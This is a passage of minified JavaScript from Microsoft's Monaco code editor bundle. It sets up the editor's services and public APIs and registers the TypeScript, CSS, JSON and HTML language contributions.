locations.\",constraint:Array}]}}),l.KeybindingsRegistry.registerCommandAndKeybindingRule({id:\"closeReferenceSearch\",weight:p.CommonEditorRegistry.commandWeight(50),primary:9,secondary:[1033],when:u.ContextKeyExpr.and(_.ctxReferenceSearchVisible,u.ContextKeyExpr.not(\"config.editor.stablePeek\")),handler:E}),l.KeybindingsRegistry.registerCommandAndKeybindingRule({id:\"closeReferenceSearchEditor\",weight:p.CommonEditorRegistry.commandWeight(-101),primary:9,secondary:[1033],when:u.ContextKeyExpr.and(m.PeekContext.inPeekEditor,u.ContextKeyExpr.not(\"config.editor.stablePeek\")),handler:E}),t.provideReferences=L,p.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeReferenceProvider\",L)}),define(d[549],h([1,0,134,191,193,164,514,313,450,451,452,516,454,455,456,431,520,458,460,199,547,522,523,524,464,525,465,527,469,548,529,471,180,531,181,532,476,517]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0})}),define(d[200],h([1,0,3,62,387,69,478,16,413,84,31,46,19,421,103,50,163,76,58,144,42,61,147,146,88,437,56,430,485,129,417,85,77,542]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C,b,w,S,E,L,x,N,M,T,k,I,D,O,R){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var P;!function(e){function t(e,t){var n=new o(e,t);return r.push(n),n}var n=new l.ServiceCollection,o=function(){function e(e,t){this._serviceId=e,this._factory=t,this._value=null}return Object.defineProperty(e.prototype,\"id\",{get:function(){return this._serviceId},enumerable:!0,configurable:!0}),e.prototype.get=function(e){if(!this._value){if(e&&(this._value=e[this._serviceId.toString()]),this._value||(this._value=this._factory(e)),!this._value)throw new Error(\"Service \"+this._serviceId+\" is missing!\");n.set(this._serviceId,this._value)}return this._value},e}();e.LazyStaticService=o;var r=[];e.init=function(e){var t=new l.ServiceCollection;for(var n in e)e.hasOwnProperty(n)&&t.set(a.createDecorator(n),e[n]);r.forEach(function(n){return t.set(n.id,n.get(e))});var i=new u.InstantiationService(t,!0);return t.set(a.IInstantiationService,i),[t,i]},e.instantiationService=t(a.IInstantiationService,function(){return new u.InstantiationService(n,!0)});var s=new k.SimpleConfigurationService;e.configurationService=t(i.IConfigurationService,function(){return s}),e.resourceConfigurationService=t(E.ITextResourceConfigurationService,function(){return new k.SimpleResourceConfigurationService(s)}),e.contextService=t(C.IWorkspaceContextService,function(){return new k.SimpleWorkspaceContextService}),e.telemetryService=t(y.ITelemetryService,function(){return new k.StandaloneTelemetryService}),e.messageService=t(m.IMessageService,function(){return new k.SimpleMessageService}),e.markerService=t(g.IMarkerService,function(){return new p.MarkerService}),e.modeService=t(L.IModeService,function(e){return new x.ModeServiceImpl}),e.modelService=t(N.IModelService,function(t){return new M.ModelServiceImpl(e.markerService.get(t),e.configurationService.get(t))}),e.editorWorkerService=t(w.IEditorWorkerService,function(t){return new S.EditorWorkerServiceImpl(e.modelService.get(t),e.resourceConfigurationService.get(t),e.modeService.get(t))}),e.standaloneThemeService=t(O.IStandaloneThemeService,function(){return new R.StandaloneThemeServiceImpl}),e.codeEditorService=t(b.ICodeEditorService,function(t){return new T.CodeEditorServiceImpl(e.standaloneThemeService.get(t))}),e.progressService=t(v.IProgressService,function(){return new k.SimpleProgressService}),e.storageService=t(_.IStorageService,function(){return _.NullStorageService})}(P=t.StaticServices||(t.StaticServices={}));var A=function(e){function t(t,n){var a=e.call(this)||this,u=P.init(n),l=u[0],p=u[1];a._serviceCollection=l,a._instantiationService=p;var f=a.get(i.IConfigurationService),g=a.get(m.IMessageService),v=a.get(y.ITelemetryService),_=function(e,t){var i=null;return n&&(i=n[e.toString()]),i||(i=t()),a._serviceCollection.set(e,i),i},C=_(h.IContextKeyService,function(){return a._register(new I.ContextKeyService(f))}),b=_(c.ICommandService,function(){return new k.StandaloneCommandService(a._instantiationService)});_(d.IKeybindingService,function(){return a._register(new k.StandaloneKeybindingService(C,b,g,t))});var w=_(r.IContextViewService,function(){return a._register(new s.ContextViewService(t,v,g))});return _(r.IContextMenuService,function(){return a._register(new o.ContextMenuService(t,v,g,w))}),_(D.IMenuService,function(){return new k.SimpleMenuService(b)}),a}return f(t,e),t.prototype.get=function(e){var t=this._serviceCollection.get(e);if(!t)throw new Error(\"Missing service \"+e);return t},t.prototype.set=function(e,t){this._serviceCollection.set(e,t)},t.prototype.has=function(e){return this._serviceCollection.has(e)},t}(n.Disposable);t.DynamicStandaloneServices=A}),define(d[422],h([1,0,20,25,540,48,200,480,71,273,129,17,397,164,64,31,69,16,46,19,42,61,87,68,77,132,49,54,50,408]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f,g,m,v,_,y,C,b,w,S,E,L,x,N,M){\"use strict\";function T(e,t,n){var i=new s.DynamicStandaloneServices(e,t),o=null;i.has(f.IEditorService)||(o=new c.SimpleEditorService,i.set(f.IEditorService,o));var r=null;i.has(w.ITextModelService)||(r=new c.SimpleEditorModelResolverService,i.set(w.ITextModelService,r)),i.has(u.IOpenerService)||i.set(u.IOpenerService,new a.OpenerService(i.get(f.IEditorService),i.get(g.ICommandService)));var l=n(i);return o&&o.setEditor(l),r&&r.setEditor(l),l}function k(e,t,n){return T(e,n,function(n){return new o.StandaloneEditor(e,t,n,n.get(v.IInstantiationService),n.get(C.ICodeEditorService),n.get(g.ICommandService),n.get(y.IContextKeyService),n.get(_.IKeybindingService),n.get(m.IContextViewService),n.get(E.IStandaloneThemeService))})}function I(e){return s.StaticServices.codeEditorService.get().onCodeEditorAdd(function(t){e(t)})}function D(e,t,n){return T(e,n,function(n){return new o.StandaloneDiffEditor(e,t,n,n.get(v.IInstantiationService),n.get(y.IContextKeyService),n.get(_.IKeybindingService),n.get(m.IContextViewService),n.get(b.IEditorWorkerService),n.get(C.ICodeEditorService),n.get(E.IStandaloneThemeService),n.get(M.IMessageService))})}function O(e,t){return new p.DiffNavigator(e,t)}function R(e,t,n){return s.StaticServices.modelService.get().createModel(e,t,n)}function P(e,t,n){if(e=e||\"\",!t){var i=n?n.path:null,o=e.indexOf(\"\\n\"),r=e;return-1!==o&&(r=e.substring(0,o)),R(e,s.StaticServices.modeService.get().getOrCreateModeByFilenameOrFirstLine(i,r),n)}return R(e,s.StaticServices.modeService.get().getOrCreateMode(t),n)}function A(e,t){s.StaticServices.modelService.get().setMode(e,s.StaticServices.modeService.get().getOrCreateMode(t))}function F(e,t,n){e&&s.StaticServices.markerService.get().changeOne(t,e.uri,n)}function W(e){return s.StaticServices.markerService.get().read(e)}function B(e){return s.StaticServices.modelService.get().getModel(e)}function V(){return s.StaticServices.modelService.get().getModels()}function H(e){return s.StaticServices.modelService.get().onModelAdded(e)}function z(e){return s.StaticServices.modelService.get().onModelRemoved(e)}function K(e){return s.StaticServices.modelService.get().onModelModeChanged(function(t){e({model:t.model,oldLanguage:t.oldModeId})})}function U(e){return h.createWebWorker(s.StaticServices.modelService.get(),e)}function j(e,t){return l.Colorizer.colorizeElement(s.StaticServices.standaloneThemeService.get(),s.StaticServices.modeService.get(),e,t)}function q(e,t,n){return l.Colorizer.colorize(s.StaticServices.modeService.get(),e,t,n)}function G(e,t,n){return void 0===n&&(n=4),l.Colorizer.colorizeModelLine(e,t,n)}function Y(e){var t=d.TokenizationRegistry.get(e);return t||{getInitialState:function(){return S.NULL_STATE},tokenize:function(t,n,i){return S.nullTokenize(e,t,n,i)},tokenize2:void 0}}function Z(e,t){s.StaticServices.modeService.get().getOrCreateMode(t);for(var n=Y(t),i=e.split(/\\r\\n|\\r|\\n/),o=[],r=n.getInitialState(),a=0,u=i.length;a<u;a++){var l=i[a],c=n.tokenize(l,r,0);o[a]=c.tokens,r=c.endState}return o}function $(e,t){s.StaticServices.standaloneThemeService.get().defineTheme(e,t)}function X(e){s.StaticServices.standaloneThemeService.get().setTheme(e)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.setupServices=function(e){return s.StaticServices.init(e)},t.create=k,t.onDidCreateEditor=I,t.createDiffEditor=D,t.createDiffNavigator=O,t.createModel=P,t.setModelLanguage=A,t.setModelMarkers=F,t.getModelMarkers=W,t.getModel=B,t.getModels=V,t.onDidCreateModel=H,t.onWillDisposeModel=z,t.onDidChangeModelLanguage=K,t.createWebWorker=U,t.colorizeElement=j,t.colorize=q,t.colorizeModelLine=G,t.tokenize=Z,t.defineTheme=$,t.setTheme=X,t.createMonacoEditorAPI=function(){return{create:k,onDidCreateEditor:I,createDiffEditor:D,createDiffNavigator:O,createModel:P,setModelLanguage:A,setModelMarkers:F,getModelMarkers:W,getModels:V,getModel:B,onDidCreateModel:H,onWillDisposeModel:z,onDidChangeModelLanguage:K,createWebWorker:U,colorizeElement:j,colorize:q,colorizeModelLine:G,tokenize:Z,defineTheme:$,setTheme:X,ScrollbarVisibility:r.ScrollbarVisibility,WrappingIndent:x.WrappingIndent,OverviewRulerLane:n.OverviewRulerLane,EndOfLinePreference:n.EndOfLinePreference,DefaultEndOfLine:n.DefaultEndOfLine,EndOfLineSequence:n.EndOfLineSequence,TrackedRangeStickiness:n.TrackedRangeStickiness,CursorChangeReason:N.CursorChangeReason,MouseTargetType:i.MouseTargetType,TextEditorCursorStyle:x.TextEditorCursorStyle,TextEditorCursorBlinkingStyle:x.TextEditorCursorBlinkingStyle,ContentWidgetPositionPreference:i.ContentWidgetPositionPreference,OverlayWidgetPositionPreference:i.OverlayWidgetPositionPreference,RenderMinimap:x.RenderMinimap,InternalEditorOptions:x.InternalEditorOptions,BareFontInfo:L.BareFontInfo,FontInfo:L.FontInfo,TextModelResolvedOptions:n.TextModelResolvedOptions,FindMatch:n.FindMatch,EditorType:n.EditorType}}}),define(d[227],h([1,0,7,126,200,17,60,12,2,18,275,276,43,97]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";function f(e){i.ModesRegistry.registerLanguage(e)}function g(){var e=[];return e=e.concat(i.ModesRegistry.getLanguages())}function m(e,t){var n=o.StaticServices.modeService.get().onDidCreateMode(function(i){i.getId()===e&&(n.dispose(),t())});return n}function v(e,t){var n=o.StaticServices.modeService.get().getLanguageIdentifier(e);if(!n)throw new Error(\"Cannot set configuration for unknown language \"+e);return h.LanguageConfigurationRegistry.register(n,t)}function _(e,t){var n=o.StaticServices.modeService.get().getLanguageIdentifier(e);if(!n)throw new Error(\"Cannot set tokens provider for unknown language \"+e);var i=new F(o.StaticServices.standaloneThemeService.get(),n,t);return r.TokenizationRegistry.register(e,i)}function y(e,t){var n=c.compile(e,t),i=d.createTokenizationSupport(o.StaticServices.modeService.get(),o.StaticServices.standaloneThemeService.get(),e,n);return r.TokenizationRegistry.register(e,i)}function C(e,t){return r.ReferenceProviderRegistry.register(e,t)}function b(e,t){return r.RenameProviderRegistry.register(e,t)}function w(e,t){return r.SignatureHelpProviderRegistry.register(e,t)}function S(e,t){return r.HoverProviderRegistry.register(e,{provideHover:function(e,n,i){var o=e.getWordAtPosition(n);return l.toThenable(t.provideHover(e,n,i)).then(function(e){if(e)return!e.range&&o&&(e.range=new u.Range(n.lineNumber,o.startColumn,n.lineNumber,o.endColumn)),e.range||(e.range=new u.Range(n.lineNumber,n.column,n.lineNumber,n.column)),e})}})}function E(e,t){return r.DocumentSymbolProviderRegistry.register(e,t)}function L(e,t){return r.DocumentHighlightProviderRegistry.register(e,t)}function x(e,t){return r.DefinitionProviderRegistry.register(e,t)}function N(e,t){return r.ImplementationProviderRegistry.register(e,t)}function M(e,t){return r.TypeDefinitionProviderRegistry.register(e,t)}function T(e,t){return r.CodeLensProviderRegistry.register(e,t)}function k(e,t){return r.CodeActionProviderRegistry.register(e,{provideCodeActions:function(e,n,i){var r=o.StaticServices.markerService.get().read({resource:e.uri}).filter(function(e){return u.Range.areIntersectingOrTouching(e,n)});return t.provideCodeActions(e,n,{markers:r},i)}})}function I(e,t){return r.DocumentFormattingEditProviderRegistry.register(e,t)}function D(e,t){return r.DocumentRangeFormattingEditProviderRegistry.register(e,t)}function O(e,t){return r.OnTypeFormattingEditProviderRegistry.register(e,t)}function R(e,t){return r.LinkProviderRegistry.register(e,t)}function P(e,t){var n=new B(t);return r.SuggestRegistry.register(e,{triggerCharacters:t.triggerCharacters,provideCompletionItems:function(e,t,i){return n.provideCompletionItems(e,t,i)},resolveCompletionItem:function(e,t,i,o){return n.resolveCompletionItem(e,t,i,o)}})}function A(e){switch(e){case W.Method:return\"method\";case W.Function:return\"function\";case W.Constructor:return\"constructor\";case W.Field:return\"field\";case W.Variable:return\"variable\";case W.Class:return\"class\";case W.Interface:return\"interface\";case W.Module:return\"module\";case W.Property:return\"property\";case W.Unit:return\"unit\";case W.Value:return\"value\";case W.Enum:return\"enum\";case W.Keyword:return\"keyword\";case W.Snippet:return\"snippet\";case W.Text:return\"text\";case W.Color:return\"color\";case W.File:return\"file\";case W.Reference:return\"reference\";case W.Folder:return\"folder\"}return\"property\"}Object.defineProperty(t,\"__esModule\",{value:!0}),t.register=f,t.getLanguages=g,t.onLanguage=m,t.setLanguageConfiguration=v;var F=function(){function e(e,t,n){this._standaloneThemeService=e,this._languageIdentifier=t,this._actual=n}return e.prototype.getInitialState=function(){return this._actual.getInitialState()},e.prototype._toClassicTokens=function(e,t,n){for(var i=[],o=0,r=0,s=e.length;r<s;r++){var a=e[r],u=a.startIndex;0===r?u=0:u<o&&(u=o),i[r]=new p.Token(u+n,a.scopes,t),o=u}return i},e.prototype.tokenize=function(e,t,n){var i,o=this._actual.tokenize(e,t),r=this._toClassicTokens(o.tokens,this._languageIdentifier.language,n);return i=o.endState.equals(t)?t:o.endState,new p.TokenizationResult(r,i)},e.prototype._toBinaryTokens=function(e,t){for(var n=this._languageIdentifier.id,i=this._standaloneThemeService.getTheme().tokenTheme,o=[],r=0,s=0,a=0,u=e.length;a<u;a++){var l=e[a],c=i.match(n,l.scopes);if(!(r>0&&o[r-1]===c)){var d=l.startIndex;0===a?d=0:d<s&&(d=s),o[r++]=d+t,o[r++]=c,s=d}}for(var h=new Uint32Array(r),a=0;a<r;a++)h[a]=o[a];return h},e.prototype.tokenize2=function(e,t,n){var i,o=this._actual.tokenize(e,t),r=this._toBinaryTokens(o.tokens,n);return i=o.endState.equals(t)?t:o.endState,new p.TokenizationResult2(r,i)},e}();t.TokenizationSupport2Adapter=F,t.setTokensProvider=_,t.setMonarchTokensProvider=y,t.registerReferenceProvider=C,t.registerRenameProvider=b,t.registerSignatureHelpProvider=w,t.registerHoverProvider=S,t.registerDocumentSymbolProvider=E,t.registerDocumentHighlightProvider=L,t.registerDefinitionProvider=x,t.registerImplementationProvider=N,t.registerTypeDefinitionProvider=M,t.registerCodeLensProvider=T,t.registerCodeActionProvider=k,t.registerDocumentFormattingEditProvider=I,t.registerDocumentRangeFormattingEditProvider=D,t.registerOnTypeFormattingEditProvider=O,t.registerLinkProvider=R,t.registerCompletionItemProvider=P;var W;!function(e){e[e.Text=0]=\"Text\",e[e.Method=1]=\"Method\",e[e.Function=2]=\"Function\",e[e.Constructor=3]=\"Constructor\",e[e.Field=4]=\"Field\",e[e.Variable=5]=\"Variable\",e[e.Class=6]=\"Class\",e[e.Interface=7]=\"Interface\",e[e.Module=8]=\"Module\",e[e.Property=9]=\"Property\",e[e.Unit=10]=\"Unit\",e[e.Value=11]=\"Value\",e[e.Enum=12]=\"Enum\",e[e.Keyword=13]=\"Keyword\",e[e.Snippet=14]=\"Snippet\",e[e.Color=15]=\"Color\",e[e.File=16]=\"File\",e[e.Reference=17]=\"Reference\",e[e.Folder=18]=\"Folder\"}(W=t.CompletionItemKind||(t.CompletionItemKind={}));var B=function(){function e(e){this._provider=e}return e.from=function(e,t,n){var i={_actual:e,label:e.label,insertText:e.label,type:A(e.kind),detail:e.detail,documentation:e.documentation,sortText:e.sortText,filterText:e.filterText,snippetType:\"internal\"},o=e.textEdit?e.textEdit.range:e.range;if(o){if(!(o.startLineNumber===o.endLineNumber)||o.startLineNumber!==t.lineNumber)return console.warn(\"INVALID range, must be single line and on the same line\"),null;i.overwriteBefore=t.column-o.startColumn,i.overwriteAfter=o.endColumn-t.column}else i.overwriteBefore=t.column-n.column,i.overwriteAfter=0;return e.textEdit?i.insertText=e.textEdit.text:\"object\"==typeof e.insertText&&\"string\"==typeof e.insertText.value?(i.insertText=e.insertText.value,i.snippetType=\"textmate\"):\"string\"==typeof e.insertText&&(i.insertText=e.insertText),i},e.prototype.provideCompletionItems=function(t,n,i){return l.toThenable(this._provider.provideCompletionItems(t,n,i)).then(function(i){var o={suggestions:[]},r=n,s=t.getWordUntilPosition(n);s&&(r=new a.Position(r.lineNumber,s.startColumn));var u;if(Array.isArray(i))u={items:i,isIncomplete:!1};else if(\"object\"==typeof i&&Array.isArray(i.items))u=i,o.incomplete=u.isIncomplete;else{if(!i)return;console.warn(\"INVALID result from completion provider. expected CompletionItem-array or CompletionList but got:\",i)}for(var l=0;l<u.items.length;l++){var c=u.items[l],d=e.from(c,n,r);d&&o.suggestions.push(d)}return o})},e.prototype.resolveCompletionItem=function(t,i,o,r){if(\"function\"!=typeof this._provider.resolveCompletionItem)return n.TPromise.as(o);var s=o._actual;return s?l.toThenable(this._provider.resolveCompletionItem(s,r)).then(function(n){var o=i,r=t.getWordUntilPosition(i);return r&&(o=new a.Position(o.lineNumber,r.startColumn)),e.from(n,i,o)}):n.TPromise.as(o)},e}();t.createMonacoLanguagesAPI=function(){return{register:f,getLanguages:g,onLanguage:m,setLanguageConfiguration:v,setTokensProvider:_,setMonarchTokensProvider:y,registerReferenceProvider:C,registerRenameProvider:b,registerCompletionItemProvider:P,registerSignatureHelpProvider:w,registerHoverProvider:S,registerDocumentSymbolProvider:E,registerDocumentHighlightProvider:L,registerDefinitionProvider:x,registerImplementationProvider:N,registerTypeDefinitionProvider:M,registerCodeLensProvider:T,registerCodeActionProvider:k,registerDocumentFormattingEditProvider:I,registerDocumentRangeFormattingEditProvider:D,registerOnTypeFormattingEditProvider:O,registerLinkProvider:R,DocumentHighlightKind:r.DocumentHighlightKind,CompletionItemKind:W,SymbolKind:r.SymbolKind,IndentAction:s.IndentAction}}}),define(d[553],h([1,0,152,422,227,49,549,534,535,432,539,537,538,477]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),r.EDITOR_DEFAULTS.wrappingIndent=r.WrappingIndent.None,r.EDITOR_DEFAULTS.contribInfo.folding=!1,r.EDITOR_DEFAULTS.viewInfo.glyphMargin=!1,r.EDITOR_DEFAULTS.autoIndent=!1;var s=n.createMonacoBaseAPI();for(var a in s)s.hasOwnProperty(a)&&(t[a]=s[a]);t.editor=i.createMonacoEditorAPI(),t.languages=o.createMonacoLanguagesAPI();var u=self;u.monaco=t,void 0!==u.require&&\"function\"==typeof u.require.config&&u.require.config({ignoreDuplicateModules:[\"vscode-languageserver-types\",\"vscode-languageserver-types/main\",\"vscode-nls\",\"vscode-nls/vscode-nls\",\"jsonc-parser\",\"jsonc-parser/main\",\"vscode-uri\",\"vscode-uri/index\"]})})}).call(this);\n\n/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-typescript version: 2.3.0(fd172013f77fa599e03a1c17b79aab62637569fa)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/language/typescript/src/monaco.contribution\",[\"require\",\"exports\",\"vs/editor/edcore.main\"],function(e,t){\"use strict\";function n(){return new monaco.Promise(function(e,t){r(function(n){n.getTypeScriptWorker().then(e,t)})})}function i(){return new monaco.Promise(function(e,t){r(function(n){n.getJavaScriptWorker().then(e,t)})})}function o(){return{ModuleKind:c,JsxEmit:p,NewLineKind:u,ScriptTarget:g,ModuleResolutionKind:d,typescriptDefaults:S,javascriptDefaults:m,getTypeScriptWorker:n,getJavaScriptWorker:i}}function r(t){e([\"vs/language/typescript/src/mode\"],t)}Object.defineProperty(t,\"__esModule\",{value:!0});var a=monaco.Emitter,s=function(){function e(e,t){this._onDidChange=new a,this._extraLibs=Object.create(null),this._workerMaxIdleTime=12e4,this.setCompilerOptions(e),this.setDiagnosticsOptions(t)}return Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),e.prototype.getExtraLibs=function(){var e=Object.create(null);for(var t in this._extraLibs)e[t]=this._extraLibs[t];return Object.freeze(e)},e.prototype.addExtraLib=function(e,t){var n=this;if(\"undefined\"==typeof t&&(t=\"ts:extralib-\"+Date.now()),this._extraLibs[t])throw new Error(t+\" already a extra lib\");return this._extraLibs[t]=e,this._onDidChange.fire(this),{dispose:function(){delete n._extraLibs[t]&&n._onDidChange.fire(n)}}},e.prototype.getCompilerOptions=function(){return this._compilerOptions},e.prototype.setCompilerOptions=function(e){this._compilerOptions=e||Object.create(null),this._onDidChange.fire(this)},e.prototype.getDiagnosticsOptions=function(){return this._diagnosticsOptions},e.prototype.setDiagnosticsOptions=function(e){this._diagnosticsOptions=e||Object.create(null),this._onDidChange.fire(this)},e.prototype.setMaximunWorkerIdleTime=function(e){this._workerMaxIdleTime=e},e.prototype.getWorkerMaxIdleTime=function(){return this._workerMaxIdleTime},e.prototype.setEagerModelSync=function(e){this._eagerModelSync=e},e.prototype.getEagerModelSync=function(){return this._eagerModelSync},e}();t.LanguageServiceDefaultsImpl=s;var c;!function(e){e[e.None=0]=\"None\",e[e.CommonJS=1]=\"CommonJS\",e[e.AMD=2]=\"AMD\",e[e.UMD=3]=\"UMD\",e[e.System=4]=\"System\",e[e.ES2015=5]=\"ES2015\"}(c||(c={}));var p;!function(e){e[e.None=0]=\"None\",e[e.Preserve=1]=\"Preserve\",e[e.React=2]=\"React\"}(p||(p={}));var u;!function(e){e[e.CarriageReturnLineFeed=0]=\"CarriageReturnLineFeed\",e[e.LineFeed=1]=\"LineFeed\"}(u||(u={}));var l;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.JS=1]=\"JS\",e[e.JSX=2]=\"JSX\",e[e.TS=3]=\"TS\",e[e.TSX=4]=\"TSX\"}(l||(l={}));var g;!function(e){e[e.ES3=0]=\"ES3\",e[e.ES5=1]=\"ES5\",e[e.ES2015=2]=\"ES2015\",e[e.ES2016=3]=\"ES2016\",e[e.ES2017=4]=\"ES2017\",e[e.ESNext=5]=\"ESNext\",e[e.Latest=5]=\"Latest\"}(g||(g={}));var f;!function(e){e[e.Standard=0]=\"Standard\",e[e.JSX=1]=\"JSX\"}(f||(f={}));var d;!function(e){e[e.Classic=1]=\"Classic\",e[e.NodeJs=2]=\"NodeJs\"}(d||(d={}));var S=new s({allowNonTsExtensions:!0,target:g.Latest},{noSemanticValidation:!1,noSyntaxValidation:!1}),m=new s({allowNonTsExtensions:!0,allowJs:!0,target:g.Latest},{noSemanticValidation:!0,noSyntaxValidation:!1});monaco.languages.typescript=o(),monaco.languages.register({id:\"typescript\",extensions:[\".ts\",\".tsx\"],aliases:[\"TypeScript\",\"ts\",\"typescript\"],mimetypes:[\"text/typescript\"]}),monaco.languages.onLanguage(\"typescript\",function(){r(function(e){return e.setupTypeScript(S)})}),monaco.languages.register({id:\"javascript\",extensions:[\".js\",\".es6\",\".jsx\"],firstLine:\"^#!.*\\\\bnode\",filenames:[\"jakefile\"],aliases:[\"JavaScript\",\"javascript\",\"js\"],mimetypes:[\"text/javascript\"]}),monaco.languages.onLanguage(\"javascript\",function(){r(function(e){return e.setupJavaScript(m)})})});\n/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-css version: 1.3.3(69ad62c9851c1708c61446b6ac2218b99fcdd428)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/css/monaco.contribution\",[\"require\",\"exports\",\"vs/editor/edcore.main\"],e)}(function(e,n){function o(){return{cssDefaults:a,lessDefaults:c,scssDefaults:u}}function t(n){e([\"vs/language/css/cssMode\"],n)}Object.defineProperty(n,\"__esModule\",{value:!0});var i=monaco.Emitter,r=function(){function e(e,n){this._onDidChange=new i,this._languageId=e,this.setDiagnosticsOptions(n)}return Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"diagnosticsOptions\",{get:function(){return this._diagnosticsOptions},enumerable:!0,configurable:!0}),e.prototype.setDiagnosticsOptions=function(e){this._diagnosticsOptions=e||Object.create(null),this._onDidChange.fire(this)},e}();n.LanguageServiceDefaultsImpl=r;var s={validate:!0,lint:{compatibleVendorPrefixes:\"ignore\",vendorPrefix:\"warning\",duplicateProperties:\"warning\",emptyRules:\"warning\",importStatement:\"ignore\",boxModel:\"ignore\",universalSelector:\"ignore\",zeroUnits:\"ignore\",fontFaceProperties:\"warning\",hexColorLength:\"error\",argumentsInColorFunction:\"error\",unknownProperties:\"warning\",ieHack:\"ignore\",unknownVendorSpecificProperties:\"ignore\",propertyIgnoredDueToDisplay:\"warning\",important:\"ignore\",\"float\":\"ignore\",idSelector:\"ignore\"}},a=new r(\"css\",s),u=new r(\"scss\",s),c=new r(\"less\",s);monaco.languages.css=o(),monaco.languages.onLanguage(\"less\",function(){t(function(e){return e.setupMode(c)})}),monaco.languages.onLanguage(\"scss\",function(){t(function(e){return e.setupMode(u)})}),monaco.languages.onLanguage(\"css\",function(){t(function(e){return e.setupMode(a)})})});\n/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-json version: 1.3.2(63d6dadc9cc5928c83a232dd95cdc31403f08974)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/json/monaco.contribution\",[\"require\",\"exports\",\"vs/editor/edcore.main\"],e)}(function(e,n){function o(){return{jsonDefaults:r}}function t(n){e([\"vs/language/json/jsonMode\"],n)}Object.defineProperty(n,\"__esModule\",{value:!0});var i=monaco.Emitter,s=function(){function e(e,n){this._onDidChange=new i,this._languageId=e,this.setDiagnosticsOptions(n)}return Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"diagnosticsOptions\",{get:function(){return this._diagnosticsOptions},enumerable:!0,configurable:!0}),e.prototype.setDiagnosticsOptions=function(e){this._diagnosticsOptions=e||Object.create(null),this._onDidChange.fire(this)},e}();n.LanguageServiceDefaultsImpl=s;var a={validate:!0,allowComments:!0,schemas:[]},r=new s(\"json\",a);monaco.languages.json=o(),monaco.languages.register({id:\"json\",extensions:[\".json\",\".bowerrc\",\".jshintrc\",\".jscsrc\",\".eslintrc\",\".babelrc\"],aliases:[\"JSON\",\"json\"],mimetypes:[\"application/json\"]}),monaco.languages.onLanguage(\"json\",function(){t(function(e){return e.setupMode(r)})})});\n/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-html version: 1.3.2(5ec45016d73d25ccf42bc1626de18d4329aabe34)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/html/monaco.contribution\",[\"require\",\"exports\",\"vs/editor/edcore.main\"],e)}(function(e,t){function n(){return{htmlDefaults:d,razorDefaults:p,handlebarDefaults:m}}function o(t){e([\"vs/language/html/htmlMode\"],t)}Object.defineProperty(t,\"__esModule\",{value:!0});var a=monaco.Emitter,r=function(){function e(e,t){this._onDidChange=new a,this._languageId=e,this.setOptions(t)}return Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"options\",{get:function(){return this._options},enumerable:!0,configurable:!0}),e.prototype.setOptions=function(e){this._options=e||Object.create(null),this._onDidChange.fire(this)},e}();t.LanguageServiceDefaultsImpl=r;var u={tabSize:4,insertSpaces:!1,wrapLineLength:120,unformatted:'default\": \"a, abbr, acronym, b, bdo, big, br, button, cite, code, dfn, em, i, img, input, kbd, label, map, object, q, samp, select, small, span, strong, sub, sup, textarea, tt, var',contentUnformatted:\"pre\",indentInnerHtml:!1,preserveNewLines:!0,maxPreserveNewLines:null,indentHandlebars:!1,endWithNewline:!1,extraLiners:\"head, body, /html\",wrapAttributes:\"auto\"},i={format:u,suggest:{html5:!0,angular1:!0,ionic:!0}},s={format:u,suggest:{html5:!0}},l={format:u,suggest:{html5:!0,razor:!0}},g=\"html\",c=\"handlebars\",f=\"razor\",d=new r(g,i),m=new r(c,s),p=new r(f,l);monaco.languages.html=n(),monaco.languages.onLanguage(g,function(){o(function(e){return e.setupMode(d)})}),monaco.languages.onLanguage(c,function(){o(function(e){return e.setupMode(m)})}),monaco.languages.onLanguage(f,function(){o(function(e){return e.setupMode(p)})})});\n/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights 